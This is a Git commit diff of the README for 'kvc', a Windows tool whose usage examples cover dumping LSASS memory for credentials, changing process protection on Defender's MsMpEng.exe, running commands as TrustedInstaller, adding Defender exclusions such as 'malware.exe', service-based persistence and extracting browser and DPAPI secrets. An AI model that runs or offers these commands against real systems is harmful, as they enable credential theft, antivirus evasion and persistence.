admin/kvc
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update README.md

Browse Source
This commit is contained in:
Marek Wesołowski
2025-09-17 23:07:16 +02:00
committed by GitHub
parent 4a84ad4d63
commit c0d30fa73f
1 changed files with 16 additions and 7 deletions
Download Patch File Download Diff File Expand all files Collapse all files

23
README.md
View File

@@ -205,7 +205,7 @@ procdump.exe -ma lsass.exe lsass.dmp
# Result: Access Denied (0x80070005) # Result: Access Denied (0x80070005)
# KVC approach (SUCCEEDS) # KVC approach (SUCCEEDS)
kvc.exe dump lsass C:\forensics\ kvc.exe dump lsass
# Result: Full memory dump with credentials # Result: Full memory dump with credentials
``` ```
@@ -594,10 +594,11 @@ kvc.exe list
# Query specific process protection status # Query specific process protection status
kvc.exe get lsass.exe kvc.exe get lsass.exe
kvc.exe info 1234 kvc.exe info MsMpEng.exe
# Apply protection to unprotected process # Apply protection to unprotected process
kvc.exe protect notepad.exe PPL Windows kvc.exe protect notepad.exe PPL Windows
kvc protect total PPL WinTcb
# Force protection level change (overwrites existing) # Force protection level change (overwrites existing)
kvc.exe set 5678 PP WinTcb kvc.exe set 5678 PP WinTcb
@@ -615,10 +616,10 @@ kvc.exe unprotect all
kvc.exe dump lsass kvc.exe dump lsass
# Dump specific PID to custom location # Dump specific PID to custom location
kvc.exe dump 1044 C:\forensics\dumps\ kvc.exe dump 1044 C:\Windows\Temp
# Dump by process name with custom path # Dump by process name with custom path
kvc.exe dump chrome.exe D:\analysis\ kvc.exe dump chrome.exe D:\path
``` ```
### Advanced System Integration ### Advanced System Integration
@@ -631,16 +632,24 @@ kvc.exe shift
kvc.exe unshift kvc.exe unshift
# Execute command with TrustedInstaller privileges # Execute command with TrustedInstaller privileges
kvc.exe trusted "powershell Get-MpPreference" kvc.exe trusted cmd
kvc trusted Shortcut.lnk
# Add Windows Defender exclusions # Add Windows Defender exclusions
kvc.exe add-exclusion Paths C:\Tools\ kvc.exe add-exclusion Paths C:\Tools
kvc.exe add-exclusion Processes malware.exe kvc.exe add-exclusion Processes malware.exe
kvc.exe add-exclusion Extensions .dmp kvc.exe add-exclusion Extensions .dmp
# Install as NT service for persistence # Install as NT service for persistence
kvc.exe install kvc.exe install
kvc.exe service status
kvc.exe service stop
kvc.exe service start kvc.exe service start
kvc.exe uninstall
#Auto-install to System32 + Windows Defender exclusions
kvc setup
``` ```
### Browser Credential Extraction ### Browser Credential Extraction
@@ -653,7 +662,7 @@ kvc.exe bp --chrome -o C:\extracted\
kvc.exe bp --chrome --brave --edge kvc.exe bp --chrome --brave --edge
# DPAPI-based extraction (legacy method) # DPAPI-based extraction (legacy method)
kvc.exe export secrets C:\dpapi\ kvc.exe export secrets C:\dpapi
``` ```
### Service Management (Advanced Deployment) ### Service Management (Advanced Deployment)